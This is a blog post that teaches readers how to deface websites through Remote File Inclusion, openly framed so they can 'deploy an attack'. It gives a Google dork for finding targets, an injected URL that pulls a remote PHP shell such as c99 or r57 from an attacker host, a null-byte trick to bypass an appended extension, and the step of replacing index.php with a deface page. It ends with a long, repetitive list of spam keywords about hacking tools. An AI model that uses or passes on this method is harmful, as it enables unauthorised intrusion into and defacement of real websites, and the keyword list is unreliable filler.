Saturday, May 27, 2023

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.
RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.
As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.
inurl: "index.php?page=home"
At the place of home, you can also try some other pages like products, gallery and etc.
If you already a know RFI vulnerable website, then you don't need to find it through Google.
Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.
http://target.com/index.php?page=home
As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.
http://target.com/index.php?page=http://attacker.com/maliciousScript.txt
I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.
Now, if it's a really vulnerable website, then there would be 3 things that can happen.
  1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
  2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
  3. Successful execution.
As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Continue reading


  1. Pentest Tools Alternative
  2. World No 1 Hacker Software
  3. Hacking Tools Mac
  4. Hacking Tools And Software
  5. Hak5 Tools
  6. Hack App
  7. Pentest Tools Find Subdomains
  8. Pentest Tools Nmap
  9. Pentest Tools Subdomain
  10. Hacker Tools 2020
  11. Hack Tools For Windows
  12. Best Hacking Tools 2019
  13. Hacker Tools Apk Download
  14. Hackrf Tools
  15. Pentest Box Tools Download
  16. Physical Pentest Tools
  17. Hack Tools Pc
  18. Black Hat Hacker Tools
  19. Hacking App
  20. Hack Tools Download
  21. Hacking Tools For Pc
  22. Pentest Tools Subdomain
  23. Pentest Tools For Windows
  24. Pentest Tools For Mac
  25. Hack Tools For Games
  26. Hacking Tools And Software
  27. Hacking Tools For Windows
  28. Hacker Tools Hardware
  29. Hack Tools
  30. Hacking Tools For Kali Linux
  31. Pentest Tools Url Fuzzer
  32. Pentest Tools Review
  33. Best Hacking Tools 2019
  34. Pentest Tools Apk
  35. Top Pentest Tools
  36. Pentest Tools Linux
  37. Hacker Tools 2020
  38. Hack Tools
  39. Best Pentesting Tools 2018
  40. Hack Tools For Mac
  41. What Are Hacking Tools
  42. Hack Tools
  43. Nsa Hack Tools
  44. Hak5 Tools
  45. Nsa Hack Tools
  46. Pentest Tools Kali Linux
  47. How To Make Hacking Tools
  48. Install Pentest Tools Ubuntu
  49. Hacking Tools For Windows 7
  50. Game Hacking
  51. Pentest Tools
  52. Hacker Tools
  53. Hacking Tools Download
  54. Best Pentesting Tools 2018
  55. Hacking Tools Pc
  56. Best Hacking Tools 2020
  57. Easy Hack Tools
  58. Hacker Tools Hardware
  59. Hacker Tools 2019
  60. Pentest Tools Port Scanner
  61. Nsa Hack Tools
  62. Hack Tools For Windows
  63. Hacking Tools Free Download
  64. Best Hacking Tools 2019
  65. Hack Rom Tools
  66. Pentest Tools Online
  67. Hacking Tools Name
  68. Pentest Tools Online
  69. Hack Tools Mac
  70. Hack And Tools
  71. Pentest Tools Tcp Port Scanner
  72. Nsa Hack Tools Download
  73. Hacking Tools For Games
  74. Hackers Toolbox
  75. Hack Rom Tools
  76. Hacking Tools
  77. How To Hack
  78. Bluetooth Hacking Tools Kali
  79. Black Hat Hacker Tools
  80. Kik Hack Tools
  81. Hacker Tools For Windows
  82. Hacking Tools For Mac
  83. Hacking Tools Mac
  84. Hack And Tools
  85. Hacking Tools Kit
  86. Hack Apps
  87. Best Hacking Tools 2020
  88. Pentest Tools Nmap
  89. Ethical Hacker Tools
  90. Pentest Tools Alternative
  91. Hack Tool Apk No Root
  92. Hack Tool Apk No Root
  93. Hacking Tools And Software
  94. Pentest Tools Tcp Port Scanner
  95. Hacker Tool Kit
  96. Pentest Box Tools Download
  97. How To Make Hacking Tools
  98. Pentest Tools Linux
  99. Hack Tools Download
  100. Pentest Tools
  101. Hacking Tools For Pc
  102. Hack Tools Pc
  103. Termux Hacking Tools 2019
  104. Hacking Tools For Beginners
  105. Hacking Tools
  106. Hacking Tools Windows 10
  107. Hacker Tools For Pc
  108. Wifi Hacker Tools For Windows
  109. Tools 4 Hack
  110. Hack Tools For Pc
  111. Hack Tools Download
  112. What Is Hacking Tools
  113. Hacking Tools Windows 10
  114. Hack Website Online Tool
  115. Hacker Tools
  116. Pentest Tools For Android
  117. Hacking Tools 2020
  118. Ethical Hacker Tools
  119. Hacking Tools For Kali Linux
  120. Pentest Tools Website
  121. Hacker Search Tools
  122. Hacker Tools Apk
  123. Termux Hacking Tools 2019
  124. Pentest Tools Android
  125. Hacker Tools For Windows
  126. Physical Pentest Tools
  127. Hacking Tools Online
  128. Hacking Tools Online
  129. Hacking Tools 2019
  130. Pentest Tools Alternative
  131. Physical Pentest Tools
  132. Pentest Tools Download
  133. World No 1 Hacker Software
  134. Hacking Tools Download
  135. Hak5 Tools
  136. Black Hat Hacker Tools
  137. Install Pentest Tools Ubuntu
  138. Tools 4 Hack
  139. New Hacker Tools
  140. Pentest Tools For Android
  141. Hacking Tools Free Download
  142. Hacking Tools And Software
  143. Hacking Tools For Beginners
  144. Hacker
  145. Pentest Tools Github
  146. Nsa Hacker Tools
  147. Hacking Tools For Windows Free Download
  148. Bluetooth Hacking Tools Kali
  149. Hak5 Tools
  150. Hacking App
  151. Hacker Tools 2019

No comments:

Post a Comment

Have something to say about one of the videos or blogs, well here is a chance to do that now!!! Yes, you can do it, you know you can!!!!!